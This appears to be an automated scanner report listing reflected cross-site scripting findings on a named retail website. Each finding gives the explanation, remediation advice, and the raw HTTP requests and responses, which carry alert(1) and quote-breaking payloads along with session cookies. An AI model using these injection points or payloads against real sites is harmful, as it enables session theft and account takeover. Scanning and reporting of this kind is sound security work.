Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.discountschoolsupply.com/ [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9df33'-alert(1)-'bcd6129851a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?9df33'-alert(1)-'bcd6129851a=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 155109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply ... ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'default.aspx?9df33'-alert(1)-'bcd6129851a=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78a3d'%3b4de3d094b86 was submitted in the REST URL parameter 1. This input was echoed as 78a3d';4de3d094b86 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalog78a3d'%3b4de3d094b86/CatalogRequest.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123468
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Catalog78a3d';4de3d094b86/CatalogRequest.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7603f'%3bce0ac9a6887 was submitted in the REST URL parameter 2. This input was echoed as 7603f';ce0ac9a6887 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalog/CatalogRequest.aspx7603f'%3bce0ac9a6887 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 117966
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.4. http://www.discountschoolsupply.com/Catalog/CatalogRequest.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Catalog/CatalogRequest.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5149e'-alert(1)-'592246f5d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalog/CatalogRequest.aspx?5149e'-alert(1)-'592246f5d0=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 03:59:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 137312
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Catalog/CatalogRequest.aspx?5149e'-alert(1)-'592246f5d0=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cc06c'%3b88d4c63b617 was submitted in the REST URL parameter 1. This input was echoed as cc06c';88d4c63b617 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalogcc06c'%3b88d4c63b617/CatalogShop.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123587
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Catalogcc06c';88d4c63b617/CatalogShop.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cdcdc'%3bce98ef0bfda was submitted in the REST URL parameter 2. This input was echoed as cdcdc';ce98ef0bfda in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalog/CatalogShop.aspxcdcdc'%3bce98ef0bfda HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 113451
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Catalog/CatalogShop.aspxcdcdc';ce98ef0bfda'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.7. http://www.discountschoolsupply.com/Catalog/CatalogShop.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Catalog/CatalogShop.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d822d'-alert(1)-'2fd0883cf63 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Catalog/CatalogShop.aspx?d822d'-alert(1)-'2fd0883cf63=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 124148
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Catalog/CatalogShop.aspx?d822d'-alert(1)-'2fd0883cf63=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c65f'%3b22121ddbd21 was submitted in the REST URL parameter 1. This input was echoed as 6c65f';22121ddbd21 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Category6c65f'%3b22121ddbd21/ShoppingCategories.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Category6c65f';22121ddbd21/ShoppingCategories.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32981'%3ba51c6c52084 was submitted in the REST URL parameter 2. This input was echoed as 32981';a51c6c52084 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Category/ShoppingCategories.aspx32981'%3ba51c6c52084 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 108107
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.10. http://www.discountschoolsupply.com/Category/ShoppingCategories.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Category/ShoppingCategories.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1922'-alert(1)-'3b0a84c347c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Category/ShoppingCategories.aspx?f1922'-alert(1)-'3b0a84c347c=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 03:59:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 220077
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Category/ShoppingCategories.aspx?f1922'-alert(1)-'3b0a84c347c=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44289'%3b59ad5b7c86c was submitted in the REST URL parameter 1. This input was echoed as 44289';59ad5b7c86c in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Community44289'%3b59ad5b7c86c/Grants.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123299
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Community44289';59ad5b7c86c/Grants.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hd ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a1a95'%3bcc2001d23e4 was submitted in the REST URL parameter 2. This input was echoed as a1a95';cc2001d23e4 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Community/Grants.aspxa1a95'%3bcc2001d23e4 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:10 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123647
